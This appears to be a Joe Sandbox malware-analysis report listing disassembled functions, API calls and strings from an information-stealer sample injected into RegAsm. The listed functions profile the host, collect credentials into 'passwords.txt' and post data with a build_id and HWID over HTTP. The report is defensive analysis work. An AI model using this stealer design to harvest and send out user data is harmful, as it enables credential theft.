Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$H_prolog$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$)$------$------$------$------$build_id$mode
API String ID: 2237346945-290892794
Opcode ID: 5155bd4e3d79fbc8704a977eba542c059905585330282d930efc31fbda67e626
Instruction ID: 39c8da72d65292ee7a9aeeff91b228c6242dc23d33435bb28ce9fb46c7ef3f30
Opcode Fuzzy Hash: 5155bd4e3d79fbc8704a977eba542c059905585330282d930efc31fbda67e626
Instruction Fuzzy Hash: F04241B1800148EADB05EBE2C956EEEBBB9AF19304F1044AEE541731C2DB795B18CB75

Uniqueness

Uniqueness Score: -1.00%

Function 0041361F Relevance: 51.8, APIs: 3, Strings: 26, Instructions: 1023
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00413624

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040EC27: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,0042548E), ref: 0040EC35
Part of subcall function 0040EC27: HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,0042548E), ref: 0040EC3C
Part of subcall function 0040EC27: GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,0042548E), ref: 0040EC48
Part of subcall function 0040EC27: wsprintfA.USER32 ref: 0040EC73

Part of subcall function 0040F462: memset.MSVCRT ref: 0040F488
Part of subcall function 0040F462: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,0042548E,?,?,00000000), ref: 0040F4A4
Part of subcall function 0040F462: RegQueryValueExA.KERNEL32(0042548E,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 0040F4C3
Part of subcall function 0040F462: CharToOemA.USER32(?,?), ref: 0040F4E0

Part of subcall function 0040F4EF: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040F500

Part of subcall function 0040F52A: _EH_prolog.MSVCRT ref: 0040F52F
Part of subcall function 0040F52A: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,?,00000000), ref: 0040F552
Part of subcall function 0040F52A: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0040F584
Part of subcall function 0040F52A: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0040F5C7
Part of subcall function 0040F52A: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 0040F5CE

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,00425538,00000000,?,00000000,00000000,?,HWID: ,00000000,?,0042552C,00000000), ref: 00413952

Part of subcall function 0040FFEC: OpenProcess.KERNEL32(00000410,00000000,b9A), ref: 00410004
Part of subcall function 0040FFEC: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0041001F
Part of subcall function 0040FFEC: CloseHandle.KERNEL32(00000000), ref: 00410026

Part of subcall function 0040F698: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C,00000000,?,Work Dir: In memory), ref: 0040F6AC
Part of subcall function 0040F698: HeapAlloc.KERNEL32(00000000,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F6B3

Part of subcall function 0040F7AB: _EH_prolog.MSVCRT ref: 0040F7B0
Part of subcall function 0040F7AB: CoInitializeEx.OLE32(00000000,00000000,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000), ref: 0040F7C0
Part of subcall function 0040F7AB: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,?,0042555C), ref: 0040F7D1
Part of subcall function 0040F7AB: CoCreateInstance.OLE32(00427238,00000000,00000001,00427168,?,?,?,?,?,?,?,0042555C,00000000,?,Work Dir: In memory,00000000), ref: 0040F7EB
Part of subcall function 0040F7AB: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,?,?,?,?,?,0042555C,00000000), ref: 0040F821
Part of subcall function 0040F7AB: VariantInit.OLEAUT32(?), ref: 0040F87C

Part of subcall function 0040F934: _EH_prolog.MSVCRT ref: 0040F939
Part of subcall function 0040F934: CoInitializeEx.OLE32(00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000,?,00000000), ref: 0040F949
Part of subcall function 0040F934: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00425544), ref: 0040F95A
Part of subcall function 0040F934: CoCreateInstance.OLE32(00427238,00000000,00000001,00427168,?,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000,?,00000000), ref: 0040F974
Part of subcall function 0040F934: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00425544,00000000), ref: 0040F9AA
Part of subcall function 0040F934: VariantInit.OLEAUT32(?), ref: 0040F9F9

Part of subcall function 0040EBEC: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,00413BEE,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000), ref: 0040EBF8
Part of subcall function 0040EBEC: HeapAlloc.KERNEL32(00000000,?,?,00413BEE,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ), ref: 0040EBFF
Part of subcall function 0040EBEC: GetComputerNameA.KERNEL32(00000000,00000000), ref: 0040EC13

Part of subcall function 0040EBBA: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,0041623D,00425507), ref: 0040EBC6
Part of subcall function 0040EBBA: HeapAlloc.KERNEL32(00000000,?,?,?,0041623D,00425507), ref: 0040EBCD
Part of subcall function 0040EBBA: GetUserNameA.ADVAPI32(00000000,?), ref: 0040EBE1

Part of subcall function 0040F3ED: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0040F402
Part of subcall function 0040F3ED: GetDeviceCaps.GDI32(00000000,00000008), ref: 0040F40D
Part of subcall function 0040F3ED: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040F418
Part of subcall function 0040F3ED: ReleaseDC.USER32(00000000,00000000), ref: 0040F423
Part of subcall function 0040F3ED: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,?,00413CF0,?,00000000,?,Display Resolution: ,00000000,?,004255B0,00000000,?), ref: 0040F42F
Part of subcall function 0040F3ED: HeapAlloc.KERNEL32(00000000,?,00000000,?,?,00413CF0,?,00000000,?,Display Resolution: ,00000000,?,004255B0,00000000,?,00000000), ref: 0040F436
Part of subcall function 0040F3ED: wsprintfA.USER32 ref: 0040F448

Part of subcall function 0040ECD4: _EH_prolog.MSVCRT ref: 0040ECD9
Part of subcall function 0040ECD4: GetKeyboardLayoutList.USER32(00000000,00000000,004251F7,00000000,?,00000000), ref: 0040ED0B
Part of subcall function 0040ECD4: LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040ED19
Part of subcall function 0040ECD4: GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040ED24
Part of subcall function 0040ECD4: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040ED4E
Part of subcall function 0040ECD4: LocalFree.KERNEL32(?), ref: 0040EDF2

Part of subcall function 0040EC81: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ), ref: 0040EC92
Part of subcall function 0040EC81: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040EC99
Part of subcall function 0040EC81: GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,0042558C,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040ECA8
Part of subcall function 0040EC81: wsprintfA.USER32 ref: 0040ECC6

Part of subcall function 0040EE07: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042560C), ref: 0040EE1B
Part of subcall function 0040EE07: HeapAlloc.KERNEL32(00000000,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042560C,00000000,?), ref: 0040EE22
Part of subcall function 0040EE07: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040EE40
Part of subcall function 0040EE07: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040EE5C

Part of subcall function 0040EEA3: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040EEF6
Part of subcall function 0040EEA3: wsprintfA.USER32 ref: 0040EF3C

Part of subcall function 0040EE70: GetSystemInfo.KERNEL32(00000000), ref: 0040EE7D
Part of subcall function 0040EE70: wsprintfA.USER32 ref: 0040EE92

Part of subcall function 0040EF70: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000,?,Windows: ,00000000,?,0042555C,00000000,?,Work Dir: In memory,00000000,?,00425544), ref: 0040EF7E
Part of subcall function 0040EF70: HeapAlloc.KERNEL32(00000000), ref: 0040EF85
Part of subcall function 0040EF70: GlobalMemoryStatusEx.KERNEL32 ref: 0040EFA5
Part of subcall function 0040EF70: wsprintfA.USER32 ref: 0040EFCB

Part of subcall function 0040EFD9: _EH_prolog.MSVCRT ref: 0040EFDE
Part of subcall function 0040EFD9: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 0040F09F

Part of subcall function 0040F310: _EH_prolog.MSVCRT ref: 0040F315
Part of subcall function 0040F310: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F350
Part of subcall function 0040F310: Process32First.KERNEL32(00000000,00000128), ref: 0040F361
Part of subcall function 0040F310: Process32Next.KERNEL32(?,00000128), ref: 0040F3C9
Part of subcall function 0040F310: CloseHandle.KERNEL32(?,?,00000000), ref: 0040F3D6

Part of subcall function 0040F0BE: _EH_prolog.MSVCRT ref: 0040F0C3
Part of subcall function 0040F0BE: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0042520F,00000000,00000000), ref: 0040F10B

Part of subcall function 0040F0BE: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 0040F155
Part of subcall function 0040F0BE: wsprintfA.USER32 ref: 0040F17F
Part of subcall function 0040F0BE: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0040F19C
Part of subcall function 0040F0BE: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 0040F1C6
Part of subcall function 0040F0BE: lstrlenA.KERNEL32(?), ref: 0040F1DB
Part of subcall function 0040F0BE: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00425240), ref: 0040F25B

lstrlenA.KERNEL32(00000000,00000000,?,00425684,00000000,?,00000000,00000000,?,00000000,00000000,?,[Software],00000000,?,00425674), ref: 004143E6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Path: , xrefs: 00413928
VideoCard: , xrefs: 00414157
[Processes], xrefs: 00414233
TimeZone: , xrefs: 00413E76
Version: , xrefs: 00413640
User Name: , xrefs: 00413C3E
MachineID: , xrefs: 00413781
Display Resolution: , xrefs: 00413CBD
Windows: , xrefs: 00413A18
Date: , xrefs: 00413702
Threads: , xrefs: 0041404D
Work Dir: In memory, xrefs: 004139C4
Processor: , xrefs: 00413F37
HWID: , xrefs: 00413894
Local Time: , xrefs: 00413DF1
information.txt, xrefs: 00414401
[Hardware], xrefs: 00413F07
Install Date: , xrefs: 00413A97
Cores: , xrefs: 00413FC8
RAM: , xrefs: 004140D2
Keyboard Languages: , xrefs: 00413D51
AV: , xrefs: 00413B2B
[Software], xrefs: 004142DF
V, xrefs: 0041441A
GUID: , xrefs: 00413800
Computer Name: , xrefs: 00413BBF

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$H_prolog$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariantlstrcat$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalLocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $V$Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 722754166-310184570
Opcode ID: 7f2e4029aff92c5e2c240fd50370c5247bd4e9c05f8058d29db4e94fbe2e0986
Instruction ID: 8c1396adf68247569608152dff41ae6f6d2696e793e5c6152f52b5d6a5d56ecc
Opcode Fuzzy Hash: 7f2e4029aff92c5e2c240fd50370c5247bd4e9c05f8058d29db4e94fbe2e0986
Instruction Fuzzy Hash: 7FA252B1804148E9CB05E7E2C556FEEBB786F25308F5049AFA542731C2DF781B58CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B302 Relevance: 42.3, APIs: 23, Strings: 1, Instructions: 296
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040B307

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00424BA4,?,?,?,00424B9E,?,00000000), ref: 0040B3FF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040B460
RtlAllocateHeap.NTDLL(00000000), ref: 0040B467
lstrlenA.KERNEL32(00000000,00000000), ref: 0040B4F7
lstrcat.KERNEL32(?), ref: 0040B50E
lstrcat.KERNEL32(?,00000000), ref: 0040B520
lstrcat.KERNEL32(?,00424BA8), ref: 0040B52E
lstrcat.KERNEL32(?,00000000), ref: 0040B540
lstrcat.KERNEL32(?,00424BAC), ref: 0040B54E
lstrcat.KERNEL32(?), ref: 0040B55D
lstrcat.KERNEL32(?,00000000), ref: 0040B56F
lstrcat.KERNEL32(?,00424BB0), ref: 0040B57D
lstrcat.KERNEL32(?), ref: 0040B58C
lstrcat.KERNEL32(?,00000000), ref: 0040B59E
lstrcat.KERNEL32(?,00424BB4), ref: 0040B5AC
lstrcat.KERNEL32(?), ref: 0040B5BB
lstrcat.KERNEL32(?,00000000), ref: 0040B5CD
lstrcat.KERNEL32(?,00424BB8), ref: 0040B5DB
lstrcat.KERNEL32(?,00424BBC), ref: 0040B5E9
lstrlenA.KERNEL32(?), ref: 0040B61D
memset.MSVCRT ref: 0040B670
DeleteFileA.KERNEL32(00000000), ref: 0040B69D

Part of subcall function 004063FD: _EH_prolog.MSVCRT ref: 00406402
Part of subcall function 004063FD: memcmp.MSVCRT ref: 00406428
Part of subcall function 004063FD: memset.MSVCRT ref: 00406457
Part of subcall function 004063FD: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00000000,00000000), ref: 0040648C

Strings

passwords.txt, xrefs: 0040B62F

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$lstrcpy$lstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessSystemTimememcmp
String ID: passwords.txt
API String ID: 3298853120-347816968
Opcode ID: 65ab87aa7b56291ed90fd951f391f19540d8fa289d9be0b470e30e9bddc03eb4
Instruction ID: ca72e83cddf771b3c86cf8916fbba1e6db8a1ff0d0e95ebd04ad23dcae455c32
Opcode Fuzzy Hash: 65ab87aa7b56291ed90fd951f391f19540d8fa289d9be0b470e30e9bddc03eb4
Instruction Fuzzy Hash: 1DC15871800118EADB05EBE1DD0AEEEBF75EF29304F10486AF512721E2DB791A18DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041283A Relevance: 41.1, APIs: 12, Strings: 11, Instructions: 899
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0041283F

Part of subcall function 004121C3: _EH_prolog.MSVCRT ref: 004121C8

Part of subcall function 0040E986: lstrlenA.KERNEL32(?,00000000,?,00415A25,004254FF,004254FE,00000000,00000000,?,004162DD), ref: 0040E98F
Part of subcall function 0040E986: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E9C3

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412A20
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412AB6

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00411F59: _EH_prolog.MSVCRT ref: 00411F5E
Part of subcall function 00411F59: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00411FBC

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412BF7
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412C8D
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412DCE

Part of subcall function 00412046: _EH_prolog.MSVCRT ref: 0041204B
Part of subcall function 00412046: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004120CD
Part of subcall function 00412046: lstrlenA.KERNEL32(00000000), ref: 004120E4
Part of subcall function 00412046: StrStrA.SHLWAPI(00000000,00000000), ref: 0041210B
Part of subcall function 00412046: lstrlenA.KERNEL32(00000000), ref: 00412120
Part of subcall function 00412046: lstrlenA.KERNEL32(00000000), ref: 0041213B

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00412E64
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412FA5
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041303B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041317C
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041320C
Sleep.KERNEL32(0000EA60), ref: 0041321B

Strings

ERROR, xrefs: 00412AA8
ERROR, xrefs: 00412DC0
ERROR, xrefs: 00412F97
ERROR, xrefs: 004131FE
", xrefs: 004133B9
ERROR, xrefs: 0041302D
ERROR, xrefs: 00412E56
ERROR, xrefs: 00412C7F
ERROR, xrefs: 0041316E
ERROR, xrefs: 00412A12
ERROR, xrefs: 00412BE9

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpylstrlen$Sleep
String ID: "$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1345713276-2213018930
Opcode ID: c0b8c9bbd540cfc0df7d129a4e8ce1bdbf0f8735db66cdbbd598687327e196cc
Instruction ID: c308ea03e03e0c32b438cdc6c2e81010450e68a08df78ec56f89ad1a897ee148
Opcode Fuzzy Hash: c0b8c9bbd540cfc0df7d129a4e8ce1bdbf0f8735db66cdbbd598687327e196cc
Instruction Fuzzy Hash: AF7253B0D00248EADB41E7E6C946BDDBBB8AF15304F1044AEE445B32C2DB785B58CB76

Uniqueness

Uniqueness Score: -1.00%

Function 00403B17 Relevance: 37.3, APIs: 13, Strings: 8, Instructions: 513
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00403B1C

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00403A76: _EH_prolog.MSVCRT ref: 00403A7B
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
Part of subcall function 00403A76: lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
Part of subcall function 00403A76: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403BC7
StrCmpCA.SHLWAPI(?), ref: 00403BDE

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00403D66
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00403DA0
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00403DC4

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,004249CD,00000000,?,?,00000000,?,",00000000,?,build_id), ref: 004040A0
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004040B9
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004040CA
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040411E
InternetCloseHandle.WININET(00000000), ref: 00404129
InternetCloseHandle.WININET(?), ref: 0040413E
InternetCloseHandle.WININET(?), ref: 00404147

Strings

", xrefs: 00403E9C
!, xrefs: 00404108
------, xrefs: 00403F19
build_id, xrefs: 00403FC1
", xrefs: 00403FEB
------, xrefs: 00403DCA
hwid, xrefs: 00403E72
------, xrefs: 00403C60

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
